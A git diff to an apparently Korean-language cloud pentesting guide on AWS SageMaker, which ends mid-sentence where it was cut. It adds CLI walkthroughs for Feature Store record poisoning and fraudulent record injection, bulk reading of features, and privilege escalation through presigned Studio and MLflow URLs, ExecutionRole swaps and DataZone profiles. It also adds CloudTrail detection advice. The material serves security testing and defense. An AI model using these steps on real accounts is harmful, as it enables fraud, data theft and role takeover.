diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md index 63c8cf1e7..6b45a9d74 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md @@ -1,50 +1,160 @@ # SageMaker Feature Store online store poisoning -OnlineStore가 활성화된 Feature Group에서 `sagemaker:PutRecord`를 남용하여 온라인 추론에서 사용되는 실시간 feature 값을 덮어쓸 수 있습니다. `sagemaker:GetRecord`와 결합하면 공격자가 민감한 feature 값을 읽을 수 있습니다. 이는 models 또는 endpoints에 대한 접근을 필요로 하지 않습니다. +`sagemaker:PutRecord`을 OnlineStore가 활성화된 Feature Group에서 악용하여 온라인 추론에서 사용되는 라이브 feature 값을 덮어쓸 수 있습니다. `sagemaker:GetRecord`와 결합하면 공격자는 민감한 feature를 읽고 기밀 ML 데이터를 유출할 수 있습니다. 이 공격은 모델이나 endpoints에 대한 접근을 요구하지 않으므로 직접적인 데이터 계층 공격입니다. ## Requirements - 권한: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord` -- 대상: OnlineStore가 활성화된 Feature Group (일반적으로 실시간 추론을 지원함) +- 대상: OnlineStore가 활성화된 Feature Group (일반적으로 실시간 추론을 지원) +- 복잡도: **LOW** - 간단한 AWS CLI 명령, 모델 조작 불필요 ## Steps -1) 테스트용으로 작은 Online Feature Group을 선택하거나 생성하십시오. + +### Reconnaissance + +1) OnlineStore가 활성화된 Feature Group 나열 +```bash +REGION=${REGION:-us-east-1} +aws sagemaker list-feature-groups \ +--region $REGION \ +--query "FeatureGroupSummaries[?OnlineStoreConfig!=null].[FeatureGroupName,CreationTime]" \ +--output table +``` +2) 대상 Feature Group의 스키마를 이해하기 위해 Describe합니다. +```bash +FG= +aws sagemaker describe-feature-group \ +--region $REGION \ +--feature-group-name "$FG" +``` +다음 항목인 `RecordIdentifierFeatureName`, `EventTimeFeatureName` 및 모든 feature 정의를 확인하세요. 이는 유효한 레코드를 작성하는 데 필요합니다. + +### 공격 시나리오 1: Data Poisoning (Overwrite Existing Records) + +1) 현재 정상 레코드를 읽습니다. +```bash +aws sagemaker-featurestore-runtime get-record \ +--region $REGION \ +--feature-group-name "$FG" \ +--record-identifier-value-as-string user-001 +``` +2) 인라인 `--record` 매개변수를 사용하여 레코드를 악성 값으로 오염시킵니다. +```bash +NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ) + +# Example: Change risk_score from 0.15 to 0.99 to block a legitimate user +aws sagemaker-featurestore-runtime put-record \ +--region $REGION \ +--feature-group-name "$FG" \ +--record "[ +{\"FeatureName\": \"entity_id\", \"ValueAsString\": \"user-001\"}, +{\"FeatureName\": \"event_time\", \"ValueAsString\": \"$NOW\"}, +{\"FeatureName\": \"risk_score\", \"ValueAsString\": \"0.99\"}, +{\"FeatureName\": \"transaction_amount\", \"ValueAsString\": \"125.50\"}, +{\"FeatureName\": \"account_status\", \"ValueAsString\": \"POISONED\"} +]" \ +--target-stores OnlineStore +``` +3) 오염된 데이터 검증 +```bash +aws sagemaker-featurestore-runtime get-record \ +--region $REGION \ +--feature-group-name "$FG" \ +--record-identifier-value-as-string user-001 +``` +**영향**: 이 피처를 사용하는 ML 모델은 합법적인 사용자에 대해 `risk_score=0.99`를 보게 되어 거래나 서비스가 차단될 수 있습니다. + +### Attack Scenario 2: Malicious Data Injection (Create Fraudulent Records) + +보안 통제를 회피하기 위해 조작된 피처를 가진 완전히 새로운 레코드를 주입합니다: +```bash +NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ) + +# Create fake user with artificially low risk to perform fraudulent transactions +aws sagemaker-featurestore-runtime put-record \ +--region $REGION \ +--feature-group-name "$FG" \ +--record "[ +{\"FeatureName\": \"entity_id\", \"ValueAsString\": \"user-999\"}, +{\"FeatureName\": \"event_time\", \"ValueAsString\": \"$NOW\"}, +{\"FeatureName\": \"risk_score\", \"ValueAsString\": \"0.01\"}, +{\"FeatureName\": \"transaction_amount\", \"ValueAsString\": \"999999.99\"}, +{\"FeatureName\": \"account_status\", \"ValueAsString\": \"approved\"} +]" \ +--target-stores OnlineStore +``` +injection을 확인하세요: +```bash +aws sagemaker-featurestore-runtime get-record \ +--region $REGION \ +--feature-group-name "$FG" \ +--record-identifier-value-as-string user-999 +``` +**영향**: Attacker는 낮은 risk score (0.01)를 가진 fake identity를 생성하여 fraud detection을 유발하지 않고 고액의 fraudulent transactions를 수행할 수 있습니다. + +### 공격 시나리오 3: 민감한 데이터 유출 + +여러 레코드를 읽어 기밀 features를 추출하고 모델 동작을 프로파일링합니다: +```bash +# Exfiltrate data for known users +for USER_ID in user-001 user-002 user-003 user-999; do +echo "Exfiltrating data for ${USER_ID}:" +aws sagemaker-featurestore-runtime get-record \ +--region $REGION \ +--feature-group-name "$FG" \ +--record-identifier-value-as-string ${USER_ID} +done +``` +**영향**: 기밀 피처(위험 점수, 거래 패턴, 개인 데이터)가 공격자에게 노출될 수 있음. + +### 테스트/데모 Feature Group 생성(선택사항) + +테스트 Feature Group을 생성해야 하는 경우: ```bash REGION=${REGION:-us-east-1} FG=$(aws sagemaker list-feature-groups --region $REGION --query "FeatureGroupSummaries[?OnlineStoreConfig!=null]|[0].FeatureGroupName" --output text) if [ -z "$FG" -o "$FG" = "None" ]; then ACC=$(aws sts get-caller-identity --query Account --output text) -FG=ht-fg-$ACC-$(date +%s) +FG=test-fg-$ACC-$(date +%s) ROLE_ARN=$(aws iam get-role --role-name AmazonSageMaker-ExecutionRole --query Role.Arn --output text 2>/dev/null || echo arn:aws:iam::$ACC:role/service-role/AmazonSageMaker-ExecutionRole) -aws sagemaker create-feature-group --region $REGION --feature-group-name "$FG" --record-identifier-feature-name entity_id --event-time-feature-name event_time --feature-definitions "[{\"FeatureName\":\"entity_id\",\"FeatureType\":\"String\"},{\"FeatureName\":\"event_time\",\"FeatureType\":\"String\"},{\"FeatureName\":\"risk_score\",\"FeatureType\":\"Fractional\"}]" --online-store-config "{\"EnableOnlineStore\":true}" --role-arn "$ROLE_ARN" + +aws sagemaker create-feature-group \ +--region $REGION \ +--feature-group-name "$FG" \ +--record-identifier-feature-name entity_id \ +--event-time-feature-name event_time \ +--feature-definitions "[ +{\"FeatureName\":\"entity_id\",\"FeatureType\":\"String\"}, +{\"FeatureName\":\"event_time\",\"FeatureType\":\"String\"}, +{\"FeatureName\":\"risk_score\",\"FeatureType\":\"Fractional\"}, +{\"FeatureName\":\"transaction_amount\",\"FeatureType\":\"Fractional\"}, +{\"FeatureName\":\"account_status\",\"FeatureType\":\"String\"} +]" \ +--online-store-config "{\"EnableOnlineStore\":true}" \ +--role-arn "$ROLE_ARN" + echo "Waiting for feature group to be in Created state..." for i in $(seq 1 40); do ST=$(aws sagemaker describe-feature-group --region $REGION --feature-group-name "$FG" --query FeatureGroupStatus --output text || true) -echo $ST; [ "$ST" = "Created" ] && break; sleep 15 +echo "$ST"; [ "$ST" = "Created" ] && break; sleep 15 done fi -``` -2) 온라인 레코드 삽입/덮어쓰기 (poison) -```bash -NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ) -cat > /tmp/put.json << JSON -{ -"FeatureGroupName": "$FG", -"Record": [ -{"FeatureName": "entity_id", "ValueAsString": "user-123"}, -{"FeatureName": "event_time", "ValueAsString": "$NOW"}, -{"FeatureName": "risk_score", "ValueAsString": "0.99"} -], -"TargetStores": ["OnlineStore"] -} -JSON -aws sagemaker-featurestore-runtime put-record --region $REGION --cli-input-json file:///tmp/put.json -``` -3) 조작을 확인하기 위해 레코드를 다시 읽어본다. -```bash -aws sagemaker-featurestore-runtime get-record --region $REGION --feature-group-name "$FG" --record-identifier-value-as-string user-123 --feature-name risk_score --query "Record[0].ValueAsString" -``` -예상: risk_score returns 0.99 (attacker-set), proving ability to change online features consumed by models. -## 영향 -- Real-time integrity attack: endpoints/models을 건드리지 않고 production models에서 사용되는 features를 조작할 수 있음. -- 기밀성 위험: OnlineStore에서 GetRecord를 통해 민감한 features를 읽을 수 있음. +echo "Feature Group ready: $FG" +``` +## 탐지 + +CloudTrail에서 의심스러운 패턴을 모니터링: +- `PutRecord` 이벤트가 비정상적인 IAM 주체 또는 IP addresses에서 발생 +- 높은 빈도의 `PutRecord` 또는 `GetRecord` 호출 +- 비정상적인 특성 값이 포함된 `PutRecord` (예: risk_score가 정상 범위를 벗어남) +- 대규모 exfiltration을 시사하는 대량의 `GetRecord` 작업 +- 정상 근무 시간 외 또는 예상치 못한 위치에서의 액세스 + +이상 탐지 구현: +- 특성 값 검증(예: risk_score는 0.0-1.0이어야 함) +- 쓰기 패턴 분석(빈도, 시점, 출처 식별자) +- 데이터 드리프트 탐지(특성 분포의 급격한 변화) + +## References +- [AWS SageMaker Feature Store Documentation](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store.html) +- [Feature Store Security Best Practices](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store-security.html) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md index 00598c7ba..5b7edcd44 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md @@ -6,34 +6,117 @@ ### `iam:PassRole` , `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl` -액세스 권한이 연결된 IAM Role로 notebook을 생성하기 시작합니다: +IAM Role이 연결된 notebook 생성을 시작하세요: ```bash aws sagemaker create-notebook-instance --notebook-instance-name example \ --instance-type ml.t2.medium \ --role-arn arn:aws:iam:::role/service-role/ ``` -응답에는 새로 생성된 노트북 인스턴스의 ARN을 포함하는 `NotebookInstanceArn` 필드가 포함되어야 합니다. 그런 다음 `create-presigned-notebook-instance-url` API를 사용해 노트북 인스턴스가 준비되면 접근할 수 있는 URL을 생성할 수 있습니다: +응답에는 생성된 노트북 인스턴스의 ARN을 포함하는 `NotebookInstanceArn` 필드가 포함되어야 합니다. 그런 다음 `create-presigned-notebook-instance-url` API를 사용하여 노트북 인스턴스가 준비되면 액세스하는 데 사용할 수 있는 URL을 생성할 수 있습니다: ```bash aws sagemaker create-presigned-notebook-instance-url \ --notebook-instance-name ``` -브라우저로 해당 URL에 접속한 후 오른쪽 상단의 \`Open JupyterLab\`\`을 클릭하고, 아래로 스크롤해 “Launcher” 탭에서 “Other” 섹션 아래의 “Terminal” 버튼을 클릭하세요. +브라우저에서 URL로 이동하여 오른쪽 상단의 `Open JupyterLab``을 클릭한 다음, 아래로 스크롤하여 “Launcher” 탭의 “Other” 섹션에서 “Terminal” 버튼을 클릭합니다. -이제 IAM Role의 메타데이터 자격 증명에 접근하는 것이 가능합니다. +이제 IAM Role의 metadata credentials에 접근할 수 있습니다. -**잠재적 영향:** 지정된 sagemaker 서비스 역할로의 Privesc. +**Potential Impact:** 지정된 sagemaker 서비스 역할에 대한 Privesc. ### `sagemaker:CreatePresignedNotebookInstanceUrl` -만약 Jupyter에서 **노트북이 이미 실행 중인 경우**이고 `sagemaker:ListNotebookInstances`로 이를 나열할 수 있거나(또는 다른 방법으로 발견할 수 있다면), 해당 인스턴스에 대해 **URL을 생성하고 접속하여 이전 기법에서 설명한 대로 자격증명을 탈취할 수 있습니다**. +만약 Jupyter **notebooks가 이미 실행 중**이고 `sagemaker:ListNotebookInstances`로 이를 나열할 수 있거나(또는 다른 방법으로 발견할 수 있다면), 해당 노트북에 대한 URL을 **생성하고 접근하여 이전 기법에서 설명한 대로 자격증명을 훔칠 수 있습니다**. ```bash aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name ``` -**잠재적 영향:** 연결된 sagemaker 서비스 역할에 대한 Privesc. +**Potential Impact:** 연결된 sagemaker 서비스 역할로의 Privesc + + +## `sagemaker:CreatePresignedDomainUrl` + +> [!WARNING] +> 이 공격은 SageMaker Unified Studio로 생성된 도메인이 아닌, 기존 전통적인 SageMaker Studio 도메인에서만 작동합니다. Unified Studio에서 생성된 도메인은 다음 오류를 반환합니다: "This SageMaker AI Domain was created by SageMaker Unified Studio and must be accessed via SageMaker Unified Studio Portal". + +대상 Studio `UserProfile`에 대해 `sagemaker:CreatePresignedDomainUrl`를 호출할 수 있는 권한이 있는 식별자는 해당 프로필로 직접 인증되는 로그인 URL을 발급할 수 있습니다. 이는 공격자의 브라우저에 프로필의 `ExecutionRole` 권한을 상속받고 프로필의 EFS 기반 홈 및 앱에 대한 전체 접근 권한을 가진 Studio 세션을 부여합니다. `iam:PassRole` 권한이나 콘솔 접근은 필요하지 않습니다. + +**Requirements**: +- SageMaker Studio `Domain` 및 그 안의 대상 `UserProfile`. +- 공격자 주체는 대상 `UserProfile`에 대해 `sagemaker:CreatePresignedDomainUrl` 권한(리소스 수준) 또는 `*`가 필요합니다. + +Minimal policy example (scoped to one UserProfile): +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Action": "sagemaker:CreatePresignedDomainUrl", +"Resource": "arn:aws:sagemaker:::user-profile//" +} +] +} +``` +**악용 단계**: + +1) 공격 대상이 될 수 있는 Studio Domain 및 UserProfiles 열거 +```bash +DOM=$(aws sagemaker list-domains --query 'Domains[0].DomainId' --output text) +aws sagemaker list-user-profiles --domain-id-equals $DOM +TARGET_USER= +``` +2) unified studio가 사용되지 않는지 확인하세요 (attack는 기존 SageMaker Studio 도메인에서만 작동합니다) +```bash +aws sagemaker describe-domain --domain-id --query 'DomainSettings' +# If you get info about unified studio, this attack won't work +``` +3) presigned URL 생성 (기본적으로 약 5분 동안 유효) +```bash +aws sagemaker create-presigned-domain-url \ +--domain-id $DOM \ +--user-profile-name $TARGET_USER \ +--query AuthorizedUrl --output text +``` +4) 반환된 URL을 브라우저에서 열어 대상 사용자로 Studio에 로그인합니다. Studio 내 Jupyter 터미널에서 유효한 신원을 확인하거나 token을 exfiltrate합니다: +```bash +aws sts get-caller-identity +``` +Notes: +- `--landing-uri`은 생략할 수 있습니다. 일부 값(예: `app:JupyterLab:/lab`)은 Studio의 종류/버전에 따라 거부될 수 있습니다; 기본값은 일반적으로 Studio 홈으로 리디렉션한 다음 Jupyter로 이동합니다. +- Org policies/VPC endpoint 제한으로 네트워크 액세스가 차단될 수 있습니다; 토큰 생성(token minting)은 콘솔 로그인(console sign‑in)이나 `iam:PassRole`을 요구하지 않습니다. + +**Potential Impact**: 허용된 ARN을 가진 모든 Studio `UserProfile`을 가정(assume)하여 해당 `ExecutionRole` 및 파일시스템/앱을 상속받음으로써 Lateral movement and privilege escalation. + + +### `sagemaker:CreatePresignedMlflowTrackingServerUrl`, `sagemaker-mlflow:AccessUI`, `sagemaker-mlflow:SearchExperiments` + +대상 SageMaker MLflow Tracking Server에 대해 `sagemaker:CreatePresignedMlflowTrackingServerUrl`(및 이후 접근을 위해 `sagemaker-mlflow:AccessUI`, `sagemaker-mlflow:SearchExperiments`) 호출 권한이 있는 주체는 그 서버의 관리형 MLflow UI에 직접 인증하는 단일 사용 presigned URL을 생성할 수 있습니다. 이 URL은 정당한 사용자가 서버에서 가지는 것과 동일한 접근 권한(실험 및 런 보기/생성, 서버의 S3 artifact store에서 아티팩트 다운로드/업로드)을 부여합니다. + +**Requirements:** +- 계정/리전 내의 SageMaker MLflow Tracking Server와 해당 서버의 이름. +- 공격자 주체(attacker principal)는 대상 MLflow Tracking Server 리소스에 대해 `sagemaker:CreatePresignedMlflowTrackingServerUrl` 권한(또는 `*`)이 필요합니다. + +**Abuse Steps**: + +1) 공격 가능한 MLflow Tracking Server를 열거(enumerate)하고 하나의 이름을 선택합니다 +```bash +aws sagemaker list-mlflow-tracking-servers \ +--query 'TrackingServerSummaries[].{Name:TrackingServerName,Status:TrackingServerStatus}' +TS_NAME= +``` +2) presigned MLflow UI URL 생성 (짧은 시간 동안 유효) +```bash +aws sagemaker create-presigned-mlflow-tracking-server-url \ +--tracking-server-name "$TS_NAME" \ +--query AuthorizedUrl --output text +``` +3) 반환된 URL을 브라우저에서 열어 해당 Tracking Server에 대해 인증된 사용자로 MLflow UI에 접근합니다. + +**잠재적 영향:** 타깃 Tracking Server의 관리되는 MLflow UI에 직접 접근할 수 있으며, 서버 구성에서 적용되는 권한 범위 안에서 실험/런을 조회·수정하고, 서버에 설정된 S3 artifact store에 저장된 아티팩트를 가져오거나 업로드할 수 있습니다. + ### `sagemaker:CreateProcessingJob`, `iam:PassRole` -해당 권한을 가진 공격자는 SageMaker 역할이 연결된 상태로 **SageMaker가 processing job을 실행**하도록 만들 수 있다. 이미 Python이 포함된 AWS Deep Learning Containers 중 하나를 재사용하고 (job을 URI와 동일한 리전에서 실행하면), 자체 이미지를 빌드하지 않고 인라인 코드로 실행할 수 있다: +해당 권한을 가진 공격자는 SageMaker 역할이 부착된 상태로 **SageMaker에 processing job을 실행시키게** 할 수 있습니다. 이미 Python이 포함된 AWS Deep Learning Containers 중 하나를 재사용하고 (작업을 URI와 같은 리전에서 실행하면), 자체 이미지를 빌드하지 않고 인라인으로 코드를 실행할 수 있습니다: ```bash REGION= ROLE_ARN= @@ -53,7 +136,7 @@ aws sagemaker create-processing-job \ ### `sagemaker:CreateTrainingJob`, `iam:PassRole` -해당 권한을 가진 공격자는 지정된 역할로 임의의 코드를 실행하는 training job을 시작할 수 있다. 공식 SageMaker 컨테이너를 사용하고 entrypoint를 payload inline으로 덮어쓰면, 자체 이미지를 빌드할 필요가 없다: +해당 권한을 가진 공격자는 지정된 역할로 임의 코드를 실행하는 training job을 시작할 수 있습니다. 공식 SageMaker 컨테이너를 사용하고 entrypoint를 payload inline으로 덮어쓰면, 자체 이미지를 빌드할 필요가 없습니다: ```bash REGION= ROLE_ARN= @@ -73,11 +156,11 @@ aws sagemaker create-training-job \ # El payload se ejecuta en cuanto el job pasa a InProgress y exfiltra las credenciales del rol. ``` -**잠재적 영향:** 지정된 SageMaker 서비스 역할로의 Privesc. +**Potential Impact:** 지정된 SageMaker 서비스 역할에 대한 Privesc. ### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole` -해당 권한을 가진 공격자는 제공된 역할 하에서 공격자가 제어하는 코드를 실행하는 HyperParameter Tuning Job을 시작할 수 있습니다. Script mode는 페이로드를 S3에 호스팅해야 하지만, 모든 단계는 CLI에서 자동화할 수 있습니다: +해당 권한을 가진 공격자는 제공된 역할 하에서 공격자가 제어하는 코드를 실행하는 HyperParameter Tuning Job을 시작할 수 있습니다. Script mode는 페이로드를 S3에 호스팅해야 하며, 모든 단계는 CLI에서 자동화할 수 있습니다: ```bash REGION= ROLE_ARN= @@ -183,28 +266,29 @@ aws sagemaker create-hyper-parameter-tuning-job \ --hyper-parameter-tuning-job-config '{"Strategy":"Random","ResourceLimits":{"MaxNumberOfTrainingJobs":1,"MaxParallelTrainingJobs":1},"HyperParameterTuningJobObjective":{"Type":"Maximize","MetricName":"train:loss"}}' \ --training-job-definition file:///tmp/hpo-definition.json ``` -Cada entrenamiento lanzado por el proceso imprime la métrica y exfiltra las credenciales del rol indicado. +프로세스에서 시작된 각 학습은 메트릭을 출력하고 지정된 role의 자격 증명을 유출합니다. -### `sagemaker:UpdateUserProfile`/`UpdateSpace`/`UpdateDomain` Studio 역할 교체 (`iam:PassRole` 없음) +### `sagemaker:UpdateUserProfile`, `iam:PassRole`, `sagemaker:CreateApp`, `sagemaker:CreatePresignedDomainUrl`, (`sagemaker:DeleteApp`) -Prioridad de ExecutionRole: +SageMaker Studio User Profile을 업데이트하고 앱을 생성하며 앱에 대한 presigned URL을 만들 수 있는 권한과 `iam:PassRole`이 있으면, 공격자는 `ExecutionRole`을 SageMaker 서비스 주체가 맡을 수 있는 임의의 IAM role로 설정할 수 있습니다. 해당 프로필로 시작된 새로운 Studio 앱은 바뀐 역할로 실행되어 Jupyter 터미널이나 Studio에서 시작된 작업을 통해 상호작용 가능한 권한 상승을 제공합니다. -- `UserProfile` override cualquier valor. Si un perfil define `ExecutionRole`, Studio siempre usará ese rol. -- `Space` se aplica solo cuando el perfil no tiene rol propio; de lo contrario, prevalece el del perfil. -- `Domain DefaultUserSettings` actúa como último recurso cuando ni perfil ni espacio definen un rol. - -SageMaker Studio User Profile (or Space/Domain)를 업데이트할 권한이 있으면 공격자는 `ExecutionRole`을 SageMaker service principal이 맡을 수 있는 모든 IAM 역할로 설정할 수 있습니다. job-creation APIs와 달리, Studio profile update APIs는 `iam:PassRole`을 요구하지 않습니다. 해당 프로필로 시작된 새 Studio 앱은 교체된 역할로 실행되어 Jupyter 터미널이나 Studio에서 시작된 작업을 통해 대화형 권한 상승을 제공합니다. +> [!WARNING] +> 이 공격은 프로필에 애플리케이션이 없어야 하며, 그렇지 않으면 앱 생성이 실패하고 다음과 유사한 오류가 발생합니다: `An error occurred (ValidationException) when calling the UpdateUserProfile operation: Unable to update UserProfile [arn:aws:sagemaker:us-east-1:947247140022:user-profile/d-fcmlssoalfra/test-user-profile-2] with InService App. Delete all InService apps for UserProfile and try again.` +> 만약 애플리케이션이 있다면 먼저 삭제하려면 `sagemaker:DeleteApp` 권한이 필요합니다. 단계: ```bash -# 1) List Studio user profiles and pick a target +# 1) List Studio domains and pick a target +aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}' + +# 2) List Studio user profiles and pick a target aws sagemaker list-user-profiles --domain-id-equals # Choose a more-privileged role that already trusts sagemaker.amazonaws.com ROLE_ARN=arn:aws:iam:::role/ -# 2) Update the Studio profile to use the new role (no iam:PassRole) +# 3) Update the Studio profile to use the new role (no iam:PassRole) aws sagemaker update-user-profile \ --domain-id \ --user-profile-name \ @@ -215,18 +299,59 @@ aws sagemaker describe-user-profile \ --user-profile-name \ --query 'UserSettings.ExecutionRole' --output text -# 3) If the tenant uses Studio Spaces, swap the ExecutionRole at the space level -aws sagemaker update-space \ ---domain-id \ ---space-name \ ---space-settings ExecutionRole=$ROLE_ARN +# 3.1) Optional if you need to delete existing apps first +# List existing apps +aws sagemaker list-apps \ +--domain-id-equals -aws sagemaker describe-space \ +# Delete an app +aws sagemaker delete-app \ --domain-id \ ---space-name \ ---query 'SpaceSettings.ExecutionRole' --output text +--user-profile-name \ +--app-type JupyterServer \ +--app-name -# 4) Optionally, change the domain default so every profile inherits the new role +# 4) Create a JupyterServer app for a user profile (will inherit domain default role) +aws sagemaker create-app \ +--domain-id \ +--user-profile-name \ +--app-type JupyterServer \ +--app-name + + +# 5) Generate a presigned URL to access Studio with the new domain default role +aws sagemaker create-presigned-domain-url \ +--domain-id \ +--user-profile-name \ +--query AuthorizedUrl --output text + +# 6) Open the URL in browser, navigate to JupyterLab, open Terminal and verify: +# aws sts get-caller-identity +# (should show the high-privilege role from domain defaults) + +``` +**Potential Impact**: 인터랙티브 Studio 세션을 위한 지정된 SageMaker 실행 역할의 권한으로 권한 상승. + + +### `sagemaker:UpdateDomain`, `sagemaker:CreateApp`, `iam:PassRole`, `sagemaker:CreatePresignedDomainUrl`, (`sagemaker:DeleteApp`) + +SageMaker Studio Domain을 업데이트하고, 앱을 생성하며, 앱에 대한 presigned URL을 만들고 `iam:PassRole` 권한이 있으면, 공격자는 기본 도메인 `ExecutionRole`을 SageMaker 서비스 프린시펄이 맡을 수 있는 어떤 IAM 역할로든 설정할 수 있습니다. 해당 프로필에서 시작되는 새 Studio 앱은 교체된 역할로 실행되어 Jupyter 터미널이나 Studio에서 시작된 작업을 통해 인터랙티브한 권한 상승을 제공할 수 있습니다. + +> [!WARNING] +> 이 공격은 도메인에 애플리케이션이 없어야 합니다. 그렇지 않으면 앱 생성이 다음 오류로 실패합니다: `An error occurred (ValidationException) when calling the UpdateDomain operation: Unable to update Domain [arn:aws:sagemaker:us-east-1:947247140022:domain/d-fcmlssoalfra] with InService App. Delete all InService apps in the domain including shared Apps for [domain-shared] User Profile, and try again.` + +단계: +```bash +# 1) List Studio domains and pick a target +aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}' + +# 2) List Studio user profiles and pick a target +aws sagemaker list-user-profiles --domain-id-equals + +# Choose a more-privileged role that already trusts sagemaker.amazonaws.com +ROLE_ARN=arn:aws:iam:::role/ + +# 3) Change the domain default so every profile inherits the new role aws sagemaker update-domain \ --domain-id \ --default-user-settings ExecutionRole=$ROLE_ARN @@ -235,22 +360,86 @@ aws sagemaker describe-domain \ --domain-id \ --query 'DefaultUserSettings.ExecutionRole' --output text -# 5) Launch a JupyterServer app (or generate a presigned URL) so new sessions assume the swapped role -aws sagemaker create-app \ +# 3.1) Optional if you need to delete existing apps first +# List existing apps +aws sagemaker list-apps \ +--domain-id-equals + +# Delete an app +aws sagemaker delete-app \ --domain-id \ --user-profile-name \ --app-type JupyterServer \ ---app-name js-atk +--app-name -# Optional: create a presigned Studio URL and, inside a Jupyter terminal, run: -# aws sts get-caller-identity # should reflect the new ExecutionRole +# 4) Create a JupyterServer app for a user profile (will inherit domain default role) +aws sagemaker create-app \ +--domain-id \ +--app-type JupyterServer \ +--app-name js-domain-escalated + +# 5) Generate a presigned URL to access Studio with the new domain default role aws sagemaker create-presigned-domain-url \ --domain-id \ --user-profile-name \ --query AuthorizedUrl --output text -``` -**잠재적 영향**: 인터랙티브 Studio 세션에서 지정된 SageMaker 실행 역할의 권한으로 권한 상승. +# 6) Open the URL in browser, navigate to JupyterLab, open Terminal and verify: +# aws sts get-caller-identity +# (should show the high-privilege role from domain defaults) +``` +**잠재적 영향**: 대화형 Studio 세션에서 지정된 SageMaker 실행 역할의 권한으로 권한 상승. + +### `sagemaker:CreateApp`, `sagemaker:CreatePresignedDomainUrl` + +공격자가 대상 UserProfile에 대해 SageMaker Studio 앱을 생성할 수 있는 권한이 있으면, 해당 UserProfile의 `ExecutionRole`로 실행되는 JupyterServer 앱을 시작할 수 있습니다. 이는 Jupyter 터미널이나 Studio에서 시작된 작업을 통해 역할의 권한에 대한 대화형 액세스를 제공합니다. + +단계: +```bash +# 1) List Studio domains and pick a target +aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}' + +# 2) List Studio user profiles and pick a target +aws sagemaker list-user-profiles --domain-id-equals + +# 3) Create a JupyterServer app for the user profile +aws sagemaker create-app \ +--domain-id \ +--user-profile-name \ +--app-type JupyterServer \ +--app-name js-privesc + +# 4) Generate a presigned URL to access Studio +aws sagemaker create-presigned-domain-url \ +--domain-id \ +--user-profile-name \ +--query AuthorizedUrl --output text + +# 5) Open the URL in browser, navigate to JupyterLab, open Terminal and verify: +# aws sts get-caller-identity +``` +**Potential Impact**: 대상 UserProfile에 연결된 SageMaker 실행 역할에 대한 대화형 액세스. + + +### `iam:GetUser`, `datazone:CreateUserProfile` + +해당 권한을 가진 공격자는 DataZone User Profile을 생성하여 특정 IAM 사용자에게 Sagemaker Unified Studio Domain에 대한 접근을 부여할 수 있습니다. +```bash +# List domains +aws datazone list-domains --region us-east-1 \ +--query "items[].{Id:id,Name:name}" \ +--output json + +# Add IAM user as a user of the domain +aws datazone create-user-profile \ +--region us-east-1 \ +--domain-identifier \ +--user-identifier \ +--user-type IAM_USER +``` +The Unified Domain URL의 형식은 다음과 같습니다: `https://.sagemaker..on.aws/` (예: `https://dzd-cmixuznq0h8cmf.sagemaker.us-east-1.on.aws/`). + +**잠재적 영향:** 사용자가 Sagemaker Unified Studio Domain에 접근하여 Sagemaker 도메인 내의 모든 리소스에 접근할 수 있으며, Sagemaker Unified Studio Domain 내부의 노트북들이 사용하는 역할로 권한 상승(escalate privieleges)할 수도 있습니다. ## 참고자료 diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sagemaker-enum/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-sagemaker-enum/README.md index 8147e32b8..d4b9b4eb3 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-sagemaker-enum/README.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-sagemaker-enum/README.md @@ -4,27 +4,27 @@ ## 서비스 개요 -Amazon SageMaker는 노트북, training infrastructure, orchestration, registries, 및 managed endpoints를 통합하는 AWS의 관리형 머신러닝 플랫폼입니다. SageMaker 리소스가 침해되면 일반적으로 다음을 얻을 수 있습니다: +Amazon SageMaker는 노트북, 학습 인프라, 오케스트레이션, 레지스트리, 관리형 엔드포인트를 하나로 연결하는 AWS의 관리형 머신러닝 플랫폼입니다. SageMaker 리소스가 침해되면 일반적으로 다음을 얻을 수 있습니다: -- 광범위한 S3, ECR, Secrets Manager 또는 KMS 접근 권한을 가진 장기적인 IAM execution roles. +- 광범위한 S3, ECR, Secrets Manager 또는 KMS 접근 권한을 가진 장기 실행 IAM execution roles. - S3, EFS 또는 feature stores에 저장된 민감한 데이터셋에 대한 접근. -- VPCs 내부의 네트워크 거점(Studio apps, training jobs, endpoints). +- VPC 내부의 네트워크 발판(Studio apps, training jobs, endpoints). - 콘솔 인증을 우회하는 높은 권한의 presigned URLs. -SageMaker가 어떻게 구성되는지 이해하는 것은 pivot, persist, exfiltrate하기 전에 매우 중요합니다. +SageMaker가 어떻게 구성되는지 이해하는 것은 pivot, persist 또는 exfiltrate data 전에 핵심입니다. ## 핵심 구성 요소 -- **Studio Domains & Spaces**: Web IDE (JupyterLab, Code Editor, RStudio). 각 domain은 공유 EFS 파일 시스템과 기본 execution role을 가집니다. +- **Studio Domains & Spaces**: 웹 IDE (JupyterLab, Code Editor, RStudio). 각 